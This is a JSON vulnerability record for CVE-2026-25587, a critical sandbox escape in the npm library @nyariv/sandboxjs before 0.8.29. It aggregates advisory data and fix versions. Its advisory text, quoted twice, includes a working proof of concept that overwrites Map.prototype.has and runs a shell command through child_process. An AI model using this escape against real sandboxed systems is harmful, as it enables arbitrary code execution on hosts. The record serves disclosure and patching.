{"id":"CVE-2026-25587","aliases":["EUVD-2026-5590","GHSA-66h4-qj4x-38xp"],"status":"published","title":"SandboxJS has a Sandbox Escape","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, as Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped. This vulnerability is fixed in 0.8.29.","severity":{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00701,"percentile":0.53478,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-74","CWE-94"],"published":"2026-02-05T21:05:59Z","modified":"2026-10-28T02:30:53Z","fixes":[{"ecosystem":"npm","package":"@nyariv/sandboxjs","fixed_in":["0.8.29"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@nyariv/sandboxjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.8.28"},{"fixed":"0.8.29"}]}]},{"source":"osv","ecosystem":"npm","package":"@nyariv/sandboxjs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.29"}]}]}],"products":[{"vendor":"nyariv","product":"sandboxjs"}],"references":[{"url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-66h4-qj4x-38xp","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25587","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-66h4-qj4x-38xp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25587.json","tags":["advisory"]},{"url":"https://github.com/nyariv/SandboxJS","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-25587","title":"SandboxJS has a Sandbox Escape","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, as Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped. This vulnerability is fixed in 0.8.29.","status":"published","published":"2026-02-06T19:51:56.208Z","modified":"2026-02-06T20:19:06.992Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T13:41:19.694734Z"}],"euvd":[{"id":"EUVD-2026-5590","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, as Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped. This vulnerability is fixed in 0.8.29.","status":"published","published":"2026-02-06T19:51:56Z","modified":"2026-02-06T20:19:06Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:48:42.836553Z"}],"ghsa":[{"id":"GHSA-66h4-qj4x-38xp","title":"@nyariv/sandboxjs has a Sandbox Escape vulnerability","description":"### Summary\n\nAs `Map` is in `SAFE_PROTOYPES`, it's prototype can be obtained via `Map.prototype`. By overwriting `Map.prototype.has` the sandbox can be escaped.\n\n### Details\n\nThis is effectively equivalent to CVE-2026-25142, but without `__lookupGetter__`  (`let` was used during testing), it turns out the `let` implementation is bugged:\n\n```js\nlet a = Map.prototype;\nconsole.log(a) // undefined\n```\n\n```js\nconst a = Map.prototype;\nconsole.log(a) // Object [Map] {}\n```\n\n```js\nlet a = 123;\nconsole.log(a) // 123\n```\n\n```js\nconst a = 123;\nconsole.log(a) // 123\n``` \n\n### PoC\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconst m = Map.prototype;\nm.has = isFinite;\n\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nAble to set `Map.prototype.has` -\u003e RCE","status":"published","published":"2026-02-05T21:05:59Z","modified":"2026-02-06T21:42:55Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-74","CWE-94"],"updated_at":"2026-11-02T14:39:23.728882Z"}],"nvd":[{"id":"CVE-2026-25587","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, as Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped. This vulnerability is fixed in 0.8.29.","status":"published","published":"2026-02-06T20:16:10.93Z","modified":"2026-06-17T10:24:54.443Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:05.52517Z"}],"osv":[{"id":"CVE-2026-25587","title":"SandboxJS has a Sandbox Escape","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, as Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped. This vulnerability is fixed in 0.8.29.","status":"published","published":"2026-02-06T19:51:56.208Z","modified":"2026-10-28T02:30:53.758743586Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:44:59.438965Z"},{"id":"GHSA-66h4-qj4x-38xp","title":"@nyariv/sandboxjs has a Sandbox Escape vulnerability","description":"### Summary\n\nAs `Map` is in `SAFE_PROTOYPES`, it's prototype can be obtained via `Map.prototype`. By overwriting `Map.prototype.has` the sandbox can be escaped.\n\n### Details\n\nThis is effectively equivalent to CVE-2026-25142, but without `__lookupGetter__`  (`let` was used during testing), it turns out the `let` implementation is bugged:\n\n```js\nlet a = Map.prototype;\nconsole.log(a) // undefined\n```\n\n```js\nconst a = Map.prototype;\nconsole.log(a) // Object [Map] {}\n```\n\n```js\nlet a = 123;\nconsole.log(a) // 123\n```\n\n```js\nconst a = 123;\nconsole.log(a) // 123\n``` \n\n### PoC\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconst m = Map.prototype;\nm.has = isFinite;\n\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nAble to set `Map.prototype.has` -\u003e RCE","status":"published","published":"2026-02-05T21:05:59Z","modified":"2026-02-06T22:22:31.166947Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-74","CWE-94"],"updated_at":"2026-11-02T15:46:39.266402Z"}]}}